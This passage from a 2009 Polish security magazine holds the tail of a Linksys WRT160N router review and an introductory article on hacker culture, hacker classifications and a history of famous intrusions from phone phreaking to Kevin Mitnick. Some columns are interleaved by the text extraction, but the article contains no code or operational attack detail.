LAN, gniazdko zasilacza (warto dodać, że niezwykle małego i lekkiego) oraz przycisk reset . 4 porty LAN pozwalają na swobodne podłączenie urządzeń niewyposażonych w inter fejs bezprzewodowy lub switch’a i dalszą rozbudowę sieci lokalnej. Z przodu obudowy znajduje się natomiast Wi-Fi Protected Button. Po naciśnięciu tego przycisku klient sam pobierze ustawienia zabezpieczeń sieci bezprzewodowej i połączy się bez wpisywania hasła. Rozwiązanie na pewno ułatwiające proces konfiguracji, ale czy bezpieczne...? W pudełku znajdziemy dodatkowo kabel Ethernet, zasilacz, krótką instrukcję instalacji w 8 językach (polskiego brak, przynajmniej w przypadku testowanego egzemplarza) oraz modną ostatnio w urządzeniach tego
typu płytkę instalacyjną. Setup znajdujący się na krążku w szybki sposób przeprowadzi nas przez podstawową konfigurację routera (podłączenie kabli, ustawienie hasła do bezprzewodówki i hasła administratora). Animowane slajdy pozwolą utworzyć własną sieć bezprzewodową nawet laikom. Oczywiście dla bardziej zaawansowanych użytkowników możliwy jest dostęp przez przeglądarkę. Tutaj mamy całe spektrum ustawień, zaprezentowanych w dobrze znanym ze starszych urządzeń firmy Linksys menu. Mamy możliwość dokładniejszego skonfigurowania poszczególnych parametrów urządzenia, takich jak: sposób łączenia się z Internetem, dynamiczne DNS-y, forwarding portów, ustawienie strefy DMZ czy przypisywanie rang poszczególnym serwisom w celu zapewnienia Quality of Service. Na dodatkową uwagę zasługują ustawienia zabezpieczeń. Prócz podstawowych, takich jak hasło do sieci Wi-Fi, blokowanie adresów MAC czy blokowanie poszczególnych adresów URL bądź protokołów, mamy dostęp do konfiguracji prostego firewalla. Pozwala on na zablokowanie podstawowych źródeł zagrożeń płynących z Internetu: pakietów multicast, przekierowań NAT lub w czasie przeglądania stron (Java, ActiveX, cookies). Podsumowując, router Linksys WRT 160n pracujący w technologii 802.11n to, w naszych realiach, sprzęt przyszłościowy. Sprzedaje się jeszcze niewiele urządzeń obsługujących ten standard, aczkolwiek pojawiać się ich będzie coraz więcej. Oczywiście router obsługuje także starsze technologie (802.11b i g), ale czy warto przepłacać za nowinki techniczne i nie wykorzystywać ich potencjału? W końcu koszt tego urządzenia to ok. 300zł. Skusić może natomiast ładny design, prostota konfiguracji, a zaawansowanych użytkowników – kilka nowych funkcjonalności, jak chociażby firewall i rozbudowane forwardowanie portów. A to, jak na urządzenie tej klasy, funkcje ciekawe i nie zawsze spotykane.
Jeśli nie możesz odczytać zawartości płyty CD, a nie jest ona uszkodzona mechanicznie, sprawdź ją na co najmniej dwóch napędach CD.
W razie problemów z płytą, proszę napisać pod adres: [email protected]
POCZĄTKI Jestem częścią cyfrowej rzeczywistości!
ŁUKASZ CIESIELSKI
Stopień trudności
Jak określić osobę nieprzeciętnie inteligentną, dążącą do osiągnięcia wiedzy niedostępnej dla każdego? W jakich kategoriach umiejscowić człowieka, dla którego powszechność wiedzy i łatwy dostęp do niej jest życiowym priorytetem?
W
Z ARTYKUŁU DOWIESZ SIĘ co cechuje prawdziwego hakera, czym jest napiętnowany, jak wygląda jego codzienność, poznasz historię hakingu, poznasz najlepszych hakerów oraz ich niesamowite osiągnięcia będące inspiracją dla pozostałych, zrozumiesz dlaczego haking stał się ich pasją.
CO POWINIENEŚ WIEDZIEĆ znać historię Internetu i sieci, znać podstawową terminologię żargonu hakerskiego. 14
HAKIN9 4/2009
yobraźmy sobie jednak sytuację, w której terroryści wejdą w posiadanie informacji uznawanych powszechnie za niebezpieczne. Życie setek, a może nawet tysięcy niewinnych osób zawiśnie na włosku. Aby w pełni zrozumieć zagrożenia, o których mowa, wystarczy przeczytać artykuł profesora Johna Arquilla pod tytułem The Great Cyberwar of 2002. Ukazał się on na łamach amerykańskiego magazynu The Wired w lutym 1998 roku. Autor w przerażająco realistyczny sposób wskazał krótką drogę do kolejnej wojny, obejmującej swoim zasięgiem cały świat. Niepokojący jest fakt, że sytuacja taka może nastąpić bez wykorzystania potężnych armii wyposażonych w najświeższe zdobycze techniki. Wystarczy włamanie do kilku kluczowych serwerów, ogłoszenie postulatów, przejęcie kontroli nad bronią dalekiego zasięgu i gotowe! Działania takie są prowadzone przez cyberprzestępców. Biorąc pod uwagę ich umiejętności, wiedzę oraz wykorzystywane techniki, można takie osoby określić mianem hakerów. Nie oznacza to jednak, że nimi są. Skąd ten rozłam myślowy? Aby dojść do korzeni, należy zrozumieć, kim jest prawdziwy haker i co odróżnia go od crackera i przestępcy. Uogólniając i upraszczając, haker jest oczywiście użytkownikiem komputera, najczęściej także jakiejś sieci komputerowej, któr y potrafi przedostać się do cudzych systemów operacyjnych, omijając przy tym zabezpieczenia chroniące pr ywatność określonych użytkowników. To jednak nie
wszystko! Osoba taka jest w stanie wydobyć informacje zapisane na dyskach twardych atakowanych komputerów i wykorzystać je w sobie znanych celach. Oczywiście włamanie (bo o nim mowa) pozostaje włamaniem. Nie należy jednak despotycznie klasyfikować wszystkiego jako przestępstwa. Każdy użytkownik, któr y uważa się za hakera, zobowiązany jest do przestrzegania pewnych zasad. Nie są one oczywiście usankcjonowane prawnie, ponieważ nigdy nie powstał prawomocny kodeks hakerski ani nic, co mogłoby być jego odpowiednikiem. Istnieją jednak reguły powodujące, że przestrzegający ich pozostają w znacznym stopniu odmienni od cyberprzestępców i terror ystów. Aby lepiej zar ysować sylwetkę użytkownika komputera nazywanego hakerem, należy zapoznać się z etymologią tego słowa, ponieważ w znacznym stopniu odzwierciedla ono cechy takiej osoby. Samo słowo haking (ang. hacking) wskazuje na czynność rąbania czy cięcia. Pierwotne znaczenie powstałego od niego określenia osoby wykonującej takową czynność – haker – określało kogoś, kto karczuje las i ziemię. Już w latach siedemdziesiątych nazwa ta zyskała nowego nosiciela. Zaczęto w ten sposób określać tych, którzy pragnęli poznać komputer, system operacyjny i pierwsze sieci. Hakerzy byli jednocześnie programistami, dzięki czemu w odniesieniu do licznych zagadnień stali się
JESTEM CZĘŚCIĄ CYFROWEJ RZECZYWISTOŚCI! pionierami i twórcami innowacyjnych, doskonalszych rozwiązań. Zdobywanie informacji i przechwytywanie określonych danych miało na celu poznanie i sprawdzenie swoich umiejętności. Nie było mowy o włamywaniu się w zamian za profity. Celem hakera było zaspokojenie nieustannego głodu wiedzy. Łamanie zabezpieczeń – zarówno programowych, jak i elektronicznych, miało zaprezentować intelektualny poziom takiej osoby i wskazać drogę dalszej edukacji. Działalnością taką najczęściej zajmowali się młodzi ludzie (często niepełnoletni), dla któr ych pokonanie kodu i dostanie się do strzeżonego systemu było jedynie rozr ywką. Stopniowo ich pasja przeradzała się w rodzaj nałogu, nakazującego nieustanne udowadnianie własnych umiejętności. Z biegiem lat okazało się jednak, że możliwość nieautor yzowanego dostępu do danych może stać się formą zarabiania pieniędzy. W tym momencie każdy haker stanął na rozdrożu i musiał dokonać wyboru. Część przeszła do świata przestępczego, natomiast pozostali w dalszym ciągu rozwijali swoje zamiłowanie. Warto w tym momencie wspomnieć, że to właśnie ten podział dał początek takim określeniom, jak białe i czarne kapelusze. Łatwo się domyślić, że pierwsze określają hakerów pomagających w zabezpieczaniu sieci i systemów komputerowych, w przeciwieństwie do tzw. czarnych kapeluszy, czyli osób łamiących prawo. Coraz częściej mówi się o szar ych kapeluszach, pasjonatach pozostających w cieniu, którzy nie wybrali żadnej ze wspomnianych dróg. Nie ulega wątpliwości, że aby stać się hakerem, trzeba posiadać ogromną wiedzę, potencjał i intuicję. Dlaczego tak trudno osiągnąć poziom, któr ym cechują się najlepsi w tej dziedzinie? Ponieważ chęci, nie poparte wewnętrznym pragnieniem poznania, nie zdadzą się na wiele. Duża część tych specyficznych obywateli cyberświata, ambasadorów sieci, jest uzależniona od komputera, choć sami najczęściej nie są tego świadomi. Przeciętny haker spędza przed komputerem nawet dwadzieścia
godzin na dobę! Niestety, ilość materiału, którego trzeba się nauczyć, a przede wszystkim zrozumieć, jest tak olbrzymia, że jedynie w ten sposób można posiąść wiedzę pozwalającą na przemierzanie bezdroży sieci niczym cienie. Trudno wyobrazić sobie, jak wielu poświęceń i wyrzeczeń musi dokonać człowiek, któr y chce zostać najlepszym w tym, co robi, poświęcić się pasji, zgłębić tajemnice niedostępne dla przeciętnego użytkownika komputera czy sieci. Haker nie uczy się na pamięć sekwencji i zachowań systemu. On zna je tak dokładnie, że z czasem zaczyna rozumieć język komputera. Niestety, czas niezbędny dla poznania wspomnianych zagadnień zdecydowanie zajmuje większą część doby. Jeżeli osoba taka nie działa w zespole podobnych sobie zapaleńców, niestety skazana jest na samotność. Czując się nierozumianym przez rówieśników, pasjonat zaczyna unikać ich towarzystwa. Stopniowo komputer staje się już nie tylko zabawą, lecz także pracą. Niezwykle interesującą kwestią jest umiejętność nawiązywania kontaktów. Internet daje tak ogromne możliwości komunikacyjne, że pomimo odtrącenia przez rówieśników i swoistej izolacji od nich, to właśnie hakerzy potrafią umiejętnie nawiązywać nowe znajomości. Nie bez znaczenia pozostaje tu wspomniana już inteligencja, którą z pewnością są obdarzeni. Już po kilku minutach rozmowy z pracownikiem danej firmy, w sposób perfekcyjny tworzą jego profil psychologiczny i wydobywają pożądane informacje. Osoba, która padła ofiarą takiego wywiadu, najczęściej nawet o tym nie wie. Oczywistością jest, że nie można wszystkich hakerów jednakowo uwznioślać lub potępiać. Każdemu z nich przyświecają odmienne cele i każdy ma własny system wartości, co sprawia, że pogląd na poszczególne zagadnienia nie musi być taki, jak u pozostałych. W takim razie jak sklasyfikować to specyficzne środowisko, a właściwie należałoby napisać – subkulturę? We wcześniejszej części tekstu padły określenia takie jak białe i czarne kapelusze. Jest to jednak zaledwie wierzchołek gór y lodowej. Bili Landreth
(były haker) wyróżnił pięć kategorii, według któr ych można przyporządkować niemalże całą omawianą społeczność. Najliczniejszą grupę stanowią zdecydowanie nowicjusze, czyli osoby, które są zainteresowane, a niekiedy zafascynowane tematyką, lecz nie posiadają jeszcze odpowiednich umiejętności i wymaganej wiedzy. Użytkowników takich pociągają gr y komputerowe oraz najróżniejsze zbior y danych. Drugą grupą są tzw. analitycy, któr ych zainteresowanie skupia się wokół rozmaitych komputerów i ich rodzajów. Nie chcą oni wyrządzać szkód, a jedynie dogłębnie poznać działanie sprzętu. Kolejny typ hakerów to – jak nazywa ich Landreth – tur yści. Traktują oni zawiłe problemy dotyczące systemów operacyjnych jak swego rodzaju łamigłówki. Kiedy uda im się odnaleźć rozwiązanie, najczęściej nigdy już nie wracają do tego problemu, szukając emocji w rozwiązywaniu nowych zagadnień. Ostatnie dwie grupy nacechowane są negatywnie. Należą do nich użytkownicy, któr ych celem jest wyrządzanie szkód innym użytkownikom lub wykradanie poufnych danych firmom. Najczęściej osoby takie działają na zlecenie firm konkurencyjnych lub dla satysfakcji. Choć zostały one zaliczone do klasyfikacji i są jej częścią, w rzeczywistości nie są to hakerzy, a nazywając ich wprost – przestępcy. Nieco zmodyfikowaną klasyfikację hakerów i maniaków komputerowych wprowadzili w latach '90 profesorowie: John D. Howard i Thomas A. Longstaff. Jako jedna z kategorii ich podziału, pojawia się grupa hakerzy. Twórcy zaliczają do niej jedynie tych użytkowników, którzy atakują inne komputery lub sieci jedynie w celach poznawczych, traktują to jako wyzwanie i udowadniają własne umiejętności. Dzięki temu mogą pozyskać określoną pozycję wśród innych hakerów. Osoby takie absolutnie nie robią tego dla żadnych korzyści materialnych, nie włamują się w zamian za pieniądze, nie kradną danych, a system, do którego uzyskali dostęp, pozostawiają nieuszkodzony. W przypadku zdobywania informacji, aby następnie wykorzystać je w celach politycznych, ta niewinna pasja zamienia się w klasyczne szpiegostwo. 4/2009 HAKIN9
15
POCZATKI Oczywiście korzyści polityczne można również osiągnąć, wzbudzając strach poprzez opanowanie określonych komputerów. W tym przypadku jednak wkraczamy już na obszar opanowany przez cyberterrorystów. Może się także zdarzyć, że agresorem w odniesieniu do danej firmy okazuje się jej pracownik, którego celem jest opanowanie wewnętrznej sieci i przechwycenie kluczowych informacji, które następnie zostaną zamienione na określone korzyści. Trudno byłoby w jakiejkolwiek klasyfikacji hakerów pominąć osoby będące przestępcami (okradające dyski twarde z ich zawartości) lub wandalami dążącymi do wyrządzenia jak największego spustoszenia. W ostatnim dziesięcioleciu pojawił się równie niebezpieczny odłam podziemnego świata, czyli tzw. podglądacze. Obserwując regularnie przepływ rozmaitych informacji, czekają na pojawienie się ważnych danych. Warto zwrócić uwagę na wielokrotnie podkreślanie w tekście postawy prawdziwego hakera, który nie zajmuje się działalnością przestępczą. Idee przyświecające temu, co robi, są jak najbardziej godne pochwały. Nawet jeżeli niezbędne okazuje się pokonanie zabezpieczeń ograniczających dostęp do określonego systemu, haker robi to w celu odnalezienia słabych punktów. Widzimy zatem, że przez kilkanaście lat określenie osoby jako hakera zmieniło swoje znaczenie, począwszy od eksperta komputerowego, na włamywaczuterroryście kończąc. Aktualnie do rodziny hakerów zalicza się błędnie tzw. script kiddies, czyli osoby niemające z prawdziwym hakingiem nic wspólnego. Najczęściej ich wiedza na temat systemów i sieci jest powierzchowna, natomiast do włamywania się wykorzystują gotowe programy i skrypty. Obecnie to właśnie ta grupa jest najbardziej niebezpieczna. Młody wiek i brak świadomości na temat szkód, które mogą zostać wyrządzone, często są powodem nieszczęść. Aby przeciwdziałać takim przejawom wandalizmu, część hakerów zdecydowała się przejść na drugą stronę, aby bronić dobrego zdania o swojej życiowej pasji. Doskonałym przykładem grupy hakerów, którzy postanowili poświęcić się słusznej sprawie, jest Legion of Doom (Legion Zagłady). Jej 16
HAKIN9 4/2009
członkami są między innymi: Scott Chasin i Chris Goggans. Założyli oni firmę zajmującą się projektowaniem zabezpieczeń antywłamaniowych do sieci wewnętrznych firm i korporacji. Nikt nie zrobi tego lepiej niż osoba, której celem było pokonywanie tego typu barier. Na temat postaci hakerów, ich psychologicznych portretów, można by pisać wiele. Najlepiej jednak będzie, jeżeli przeanalizujemy kluczowe punkty w historii hakingu, a następnie przyjrzymy się najsłynniejszym postaciom tego hermetycznego świata i ich dokonaniom.
Wszystko przez ciekawość
Choć to zaskakujące, okazuje się, że podłożem, na któr ym wyrósł haking, był phreacking. Nawiązywanie darmowych połączeń telefonicznych stało się celem młodych osób. Przez przypadek John Draper (Capitan Crunch) odkr ył, że załączony do chrupek gwizdek emituje dźwięk o częstotliwości 2600 Hz. Okazało się, że to właśnie ta częstotliwość była wykorzystywana przez centrale telefoniczne do przełączania poszczególnych rozmów. Wraz z dwoma podobnymi zapaleńcami skonstruowali tzw. niebieską skrzynkę, pozwalającą oszukać centralę poprzez generowanie określonych dźwięków. Łatwo sobie wyobrazić, jak wielkie możliwości w tamtych czasach dawało odkr ycie Jahna Drapera, umożliwiające prowadzenie darmowych rozmów. Dzięki temu Capitan Crunch został uznany za prekursora hakingu. Jako jeden z pierwszych został skazany na karę pozbawienia wolności za nadużywanie systemu telekomunikacyjnego. Dopiero lata '60 dały możliwości rozwoju hakingu rozumianego jako rozpracowywanie skomplikowanych łamigłówek, ściśle związanych z komputerami. Pierwsze grupy skupiające osoby oczarowane możliwościami komputerów, jak nietrudno przewidzieć, zorientowały się wokół uniwersytetów, które jako jedne z nielicznych organizacji posiadały tego typu urządzenia. Należy także pamiętać, że koniec lat '60 to również pierwsze próby stworzenia eksper ymentalnych sieci, np. ARPANET. Hakerzy poznali własne komputer y na tyle dokładnie, że zapragnęli pójść
dalej. Sieć otworzyła nowe furtki, dała ogromne możliwości, ale przede wszystkim pozwalała roztaczać wizje, o któr ych wcześniej mało kto chociażby myślał. Czym jest buszowanie po zakamarkach własnego systemu, skoro można poruszać się po cudzych komputerach, rozrzuconych po całym świecie? Ponieważ pierwsze sieci miały na celu pomóc w rozwoju nauki poprzez szybką wymianę informacji na temat najnowszych badań i osiągnięć, hakerzy zrozumieli, że mogą wejść w posiadanie wiedzy, o której społeczeństwo nie miało pojęcia. Wystarczyło okiełznać terminal i pokonać pr ymitywne zabezpieczenia (występujące zresztą sporadycznie). Wiedza w ówczesnym czasie miała jednak nieco inne znaczenie niż obecnie. Jej charakter był bez mała metafizyczny. Hakerzy nie chcieli jej sprzedawać ani tym bardziej kupować. Ich jedynym pragnieniem było po prostu wiedzieć. Kolejne piętnaście lat to okres intensywnego rozwoju sieci komputerowych i dążenie do stworzenia globalnych połączeń między użytkownikami z całego świata. Wraz z postępem informatyki powstały nowe technologie i zabezpieczenia. Hakerzy stopniowo zaczęli tworzyć własną subkulturę, żargon, powstawały pierwsze grupy i rozpoczęły się próby własnych sił wobec administratorów sieci. Dopiero na początku lat '80 hakerzy zaczęli być postrzegani jako realne zagrożenie dla bezpieczeństwa państw. Umiejętność zdobycia rządowych, strzeżonych dokumentów sprawiała, że użytkownicy postrzegani dotychczas jako nieszkodliwi fanatycy komputerów zostali publicznie napiętnowani. W 1983 roku FBI aresztowało grupę nastolatków, której nazwa wzięła się od telefonicznego numeru kierunkowego – 414. Zostali oni oskarżeni o włamanie się do około sześćdziesięciu komputerów. Choć może się to wydawać niewielką liczbą, zwłaszcza w porównaniu do współczesnych danych określających ilość zainfekowanych komputerów nowym wirusem, w latach '80 była to wielkość wzbudzająca co najmniej zaniepokojenie. Dodatkowym czynnikiem, któr y ostatecznie uzmysłowił, że hakerzy nie tylko mogą być, ale są groźni, było
JESTEM CZĘŚCIĄ CYFROWEJ RZECZYWISTOŚCI! włamanie się grupy 414 do wewnętrznej sieci Los Alamos National Laborator y. Instytucja ta była zaangażowana w rozwój broni nuklearnej. Nietrudno wyobrazić sobie, co mogłoby się stać, gdyby takie informacje dostały się w niepowołane ręce. Rok później (1984) powstaje kwartalnik 2600: The Haker Quaterly, uważany za kluczowe pismo poruszające zagadnienia hakingu. Założycielem był Eric Corley (Emmanuel Goldstein). Tematyka spotkała się z tak entuzjastycznym przyjęciem, że w 1985 roku dwóch dziennikarzy – Taran King i Knight Lightning – rozpoczęło pracę na kolejnym magazynem hakerskim – Phrack. Dzięki elektronicznej formie, każdy użytkownik sieci miał do niego dostęp. Zainteresowanie oraz niebezpieczeństwo, wynikające z nieautor yzowanego dostępu do cudzych danych, zmusiło władze do wydania w 1986 roku ustawy zabraniającej posługiwania się cudzymi hasłami (Computer Fraud and Abuse Act ). Pierwszym skazanym na podstawie tej ustawy był siedemnastolatek – Herbert Zinn. Ukr ywając się pod pseudonimem Shadow Hawk, przyznał się do włamania do komputerów AT&T (New Jersey). Niespodziewanym przełomem okazał się rok 1988, w którym Robert Morris stworzył pierwszy na świecie program, który potrafił się rozmnażać. Kiedy dwudziestoletni wówczas student Cornell University uruchomił swoje dzieło w Arpanecie, okazało się, że po krótkim czasie zainfekowanych zostało około sześciu tysięcy dysków twardych. Obliczono, że odpowiadało to około 10% wszystkich podłączonych do sieci użytkowników. Choć Morris nazwał program Robakiem, w rzeczywistości był to odpowiednik dzisiejszych wirusów. W tym samym roku grupa hakerska Legion of Doom (działająca już cztery lata) sprawiła, że militarna część sieci – Milnet – została odłączona od Arpanetu (zalążka Internetu). Istniało podejrzenie o włamanie do co najmniej jednego komputera wojskowego. Nie trzeba było długo czekać na kolejne problemy i związane z nimi niedoskonałości ówczesnego prawa. W 1989 roku Kevin Mitnick został oskarżony o kradzież kodów rozmów długodystansowych oraz oprogramowania
DEC-a. Na podstawie świeżej jeszcze ustawy dotyczącej zakazu dostępu do międzystanowej sieci komputerowej w celach przestępczych, Mitnicka jako pierwszego skazano wyrokiem prawomocnym. Po roku został zwolniony warunkowo, otrzymując jednocześnie zakaz korzystania z komputerów i kontaktów z hakerami. W niespełna rok później na arenę amerykańskiego hakingu powróciła grupa Legion of Doom. Cel, jaki sobie wyznaczyli, był niezwykle nowatorski i ryzykowny. Chcieli przejąć kontrolę nad siecią obsługującą numer telefoniczny 911 na terenie całych Stanów Zjednoczonych. Udało się wykraść specyfikację tej sieci z firmy BellSouth. Hakerzy z Legion of Doom mieli fizyczną
się uzyskać dostęp do zawartości dysków twardych komputerów Departamentu Obrony. Grozy sytuacji nadał jednak fakt, że był to okres walk w Zatoce Perskiej. Młodzi hakerzy mogli bez przeszkód przeglądać wszelakie raporty na temat działań wojennych, przemieszczania się oddziałów, wprowadzania prototypowych rodzajów broni. Dyski zawierały również dane osobowe walczących żołnierzy. Gdyby te informacje wpadły w ręce wroga, wyniki walk byłyby z gór y przesądzone. Coraz częściej zdarzały się ataki na oficjalne strony rządowe i kluczowe firmy. Drugą grupą – obok Legion of Doom – skupiającą wokół siebie wybitnie uzdolnionych hakerów była
możliwość zakłócania połączeń z numerem 911, a nawet – jak się później okazało – blokowania ich. Trzech członków grupy otrzymało kary od czternastu do dwudziestu jeden miesięcy pozbawienia wolności. Ten zuchwały atak był sygnałem dla amerykańskich służb Secret Services, że niezbędna jest operacja przeprowadzona na dużą skalę, mająca na celu wyeliminowanie podobnych sytuacji w przyszłości. Przeciwko cyberprzestępcom wymierzono akcję Sundevil. W czternastu miastach zarekwirowano sprzęt komputerowy, pozwalający na włamywanie się przez sieć. Operacja zakończyła się niepowodzeniem, ponieważ już kilka miesięcy później ruch hakerski się odrodził. Ogromne zamieszanie wywołał niebywały wyczyn holenderskich nastolatków, któr ym w 1991 roku udało
Master of Deception. Tworzyli ją nastolatkowie z Brooklynu i Queens. Zarzucono im włamanie się do systemów TRW (firma specjalizująca się w wojskowych systemach informatycznych), Bank of America, Narodowej Agencji Bezpieczeństwa i AT&T. W grudniu 1992 roku posądzono Kevina Poulsena o kradzież tajemnic państwowych i szpiegostwo. Groziło mu nawet dziesięć lat pozbawienia wolności. Sprawa okazała się jednak bardziej skomplikowana niż sądzono na początku. Rok po oskarżeniu okazało się, że Poulsen wraz z dwoma kolegami (Ronaldem Austinem i Justinem Petersenem) przejął kontrolę nad telefonami do stacji radiowej prowadzącej konkurs, dopuszczając jedynie własne połączenia. Nagrodami 4/2009 HAKIN9
17
POCZATKI były dwa Porsche oraz dwadzieścia tysięcy dolarów. Interesującym zjawiskiem z psychologicznego punktu widzenia jest chęć posiadania. Wcześniej hakerzy przypominali raczej ciekawskich nastolatków, którzy poszukują inteligentnej rozr ywki. Teraz można ich porównać raczej z terror ystami szukającymi sposobów na szybkie osiągnięcie korzyści materialnych. W 1994 roku po raz kolejny dwójka nastoletnich hakerów – jeden z nich miał szesnaście lat – o pseudonimach Data Stream i Kuji udowodniła, że kluczowe miejsca sieci są słabo zabezpieczone i włamała się komputerów Bazy Sił Powietrznych (Griffith), NASA, a także Koreańskiego Instytutu Badań Atomowych! Również w tym roku nieznany haker rozpoczął ataki na sieć komputerów Tsutomu Shimomur y. Podejrzenia padły na Kevina Mitnicka. Rok później został on aresztowany. Wspominając rok 1995, nie można pominąć tak głośnej postaci, jak Wladimir Lewin. W wieku trzydziestu lat Rosjanin przelał około czterech milionów dolarów z Citibanku znajdującego się w Nowym Jorku na własne konta rozlokowane po całym świecie. Trudno jednak potępiać działania hakerów, ponieważ to właśnie oni wielokrotnie przyczynili się do usprawnienia wielu systemów, opracowania nowych technik szyfrowania i zabezpieczania. W podobny sposób zdarzało się także pracować w taki sposób osobom odpowiedzialnym za bezpieczeństwo. Doskonałym przykładem jest postać Dana Farmera, jednego z twórców programu Satan. Zadaniem programu było przemierzanie sieci w poszukiwaniu luk w zabezpieczeniach komputerów podłączonych do Internetu i pracujących z systemem Unix. Dan Farmer wyjaśniał, że jego celem nie były włamania, ale wykr ywanie wszelkich nieścisłości w zabezpieczeniach i wskazywanie ich administratorom, aby można było je wyeliminować, zanim zostaną odnalezione przez hakerów. Cel przyświecający twórcy Satana był szczytny, jednak sposób przeprowadzania badań w ukr yciu przed światem wzbudzał pewne wątpliwości. 18
HAKIN9 4/2009
Po trzyletniej przerwie, w 1998 roku, niespodziewanie przedstawiciel amer ykańskiego Departamentu Obrony oświadczył, że Pentagon padł ofiarą ataku hakerów. W odróżnieniu od poprzednich, był on skrupulatnie przemyślany i doskonale zorganizowany. Celem włamywaczy była zmiana danych dotyczących płatności oraz niektóre akta personalne. Podobnie jak we wspomnianych wcześniej przypadkach, winnymi okazali się trzej nastolatkowie. Ich działaniem kierował młodociany haker o pseudonimie Analyzer. Ataki przeprowadzane przez nastolatków stały się tak częste, że władze po raz pierwszy oskarżyły niepełnoletniego hakera. Zablokował on system komunikacyjny lotniska, czego efektem była przerwa w łączności pomiędzy samolotami a wieżą kontrolną, trwająca około sześciu godzin. Sytuacja była napięta, a pasażerom zagrażało realne niebezpieczeństwo. Ponieważ ostatecznie nikomu nic się nie stało, sąd skazał sprawcę na dwieście pięćdziesiąt godzin prac społecznych. Rząd amerykański każdego roku przeznaczał ogromne kwoty pieniężne na zabezpieczenie cennych danych, tym bardziej, że zbliżał się wiek, który zapoczątkował nowy okres w dziejach ludzkości – erę informacji. To właśnie ona stała się kluczem do sukcesu lub porażki każdego państwa. I choć wydawałoby się szaleństwem podjęcie kolejnej próby udowodnienia swoich umiejętności, dzień 22 kwietnia 1998 roku obnażył niedoskonałości rządowego systemu. Jednak, co gorsza, tym razem włamania nie dokonała pojedyncza osoba ani lokalna grupa. Atak przeprowadziła międzynarodowa grupa składająca się z najlepszych hakerów pochodzących ze Stanów Zjednoczonych, Wielkiej Brytanii i Rosji. Ofiarą padł komputer NASA, a zaledwie rok później – kluczowe strony amerykańskiego senatu, Białego Domu i armii. W 2000 roku nieznani do dziś sprawcy zbombardowali najpopularniejsze portale internetowe taką ilością zgłoszeń, że ich serwer y nie nadążały z przetwarzaniem, czego efektem było całkowite zawieszenie portali takich gigantów, jak Yahoo! , Amazon.com, Buy.com i CNN.com.
Hakerzy są osobami, które bacznie śledzą wydarzenia ogólnoświatowe, i to nie tylko te dotyczące zagadnień związanych z informatyką. Nie pozostają obojętni na rozprzestrzeniające się zło. Kiedy zamach terror ystyczny z 11 września 2001 roku wstrząsnął całym światem, to właśnie oni zaatakowali muzułmańskie strony internetowe, zamieszczając na nich list gończy FBI za Osamą bin Ladenem. Jeden z byłych hakerów – Kim Schmitz – zaoferował nawet na pr ywatnej stronie nagrodę w wysokości 10 mln dolarów w zamian za informacje pozwalające na schwytanie tego groźnego terror ysty.
Samotne cienie geniuszu
Udało nam się scharakter yzować postać kreowaną przez hakerów z całego świata. Czy na pewno? Trudno określać ludzi, nie znając ich życior ysu, nie wiedząc, kim byli, kim są teraz. Poznaliśmy kilka najważniejszych przykładów hakingu światowego, ale tak właściwie, co kierowało tymi ludźmi? Współcześnie wydaje się nawet niezrozumiałym, jeżeli osoba interesująca się choćby ogólnie informatyką nie potrafiła podać kilku przykładów znanych włamywaczy komputerowych. Wspomnieliśmy już o prekursorze nowego sposobu życia – Johnie Draperze. A co z takimi sławami jak Kevin Mitnick czy Christopher Lamprecht i Kevin Poulsen? Do czołówki najlepszych należałoby także dodać Morrisa Roberta Tappana, Ehuda Tenebauma oraz Tsutomu Shimomurę. Jeśli komuś wydaje się, że to koniec listy, jest w błędzie. W rzeczywistości mogłaby ona liczyć kilkadziesiąt (jeżeli nie kilkaset) sylwetek hakerów godnych zauważenia. Trudno byłoby jednak przyjrzeć się każdej z nich. Nazwiska przedstawione w artykule nie mają na celu stworzenia grupy najlepszych hakerów świata, choć nie ulega wątpliwości, że ci ludzie nimi są. Poznając życie kilku wybranych przedstawicieli tej grupy, łatwiej będzie stworzyć w miarę obiektywny wizerunek jej przedstawicieli, ich poglądów, upodobań i cech charakteru. Wbrew pozorom, wiedza taka może przydać się podczas zabezpieczania systemu i danych. Po lekturze artykułu zrozumiemy, dlaczego to takie istotne.
JESTEM CZĘŚCIĄ CYFROWEJ RZECZYWISTOŚCI! Jednocześnie spojrzymy na hakerów w odmiennym świetle. Zobaczymy w nich nie tyle kr yminalistów, ile komputerowych geniuszy i przede wszystkim zwyczajnych ludzi. Zacznijmy od legendy tego hermetycznego półświatka, czyli Kevina Davida Mitnicka. Wielu ma do niego nieuzasadniony żal od momentu, kiedy światowe media rozpoczęły kampanię kreowania jego wizerunku. Próbowano stworzyć postać, której w rzeczywistości nie ma, czyli najlepszego z najlepszych. Oczywiście nie można mu odmówić niecodziennych zdolności i potężnej wiedzy, jednak podobnych rzeczy mogłoby dokonać wielu innych, mniej znanych lub ukr ywających się hakerów. Ponieważ jednak w Internecie, jak i w prasie oraz telewizji w ostatnim dziesięcioleciu zainteresowanie hakingiem niezwykle wzrosło, niezbędna była postać, z której można by czerpać wzorce. Nie chodziło jednak o czyny Mitnicka, ale o jego zapał, umiejętności i charakter ystyczny dla niego głód wiedzy. Kiedy 6 sierpnia 1963 roku rodził się pewien chłopiec, nikomu nie przyszło na myśl, że trzydzieści lat później będzie on oskarżony o ponad dwadzieścia poważnych przestępstw. Jak do tego doszło? Czy to nierozumiana przez innych pasja doprowadziła do takiej sytuacji? Być może tak. A jeżeli to właśnie ona, to co było przyczyną tego, że chłopiec ten poświęcił dużą część swojego życia dla komputerów? Oczywiście za wszystko można obwiniać dzieciństwo, od którego wszystko się zaczęło. Kevin jeszcze jako uczeń był osobą otyłą, odtrącaną przez rówieśników, co z kolei sprawiło, że coraz bardziej zamykał się w sobie. Stopniowo stał się nastoletnim samotnikiem. O dziwo, pocieszeniem nie były dla niego komputery. W 1978 roku wstąpił do gangu skupiającego phreakerów. To właśnie oni sprawili, że poczuł się akceptowany i rozumiany. Razem z kolegami Mitnick poznaje arkana zakazanego, podziemnego świata. W bardzo krótkim czasie opanował umiejętności pozwalające na darmowe rozmowy telefoniczne z całym światem, podsłuchiwanie rozmów telefonicznych, a nawet ingerencję w rachunki poszczególnych osób. Choć edukacja Mitnicka miała raczej
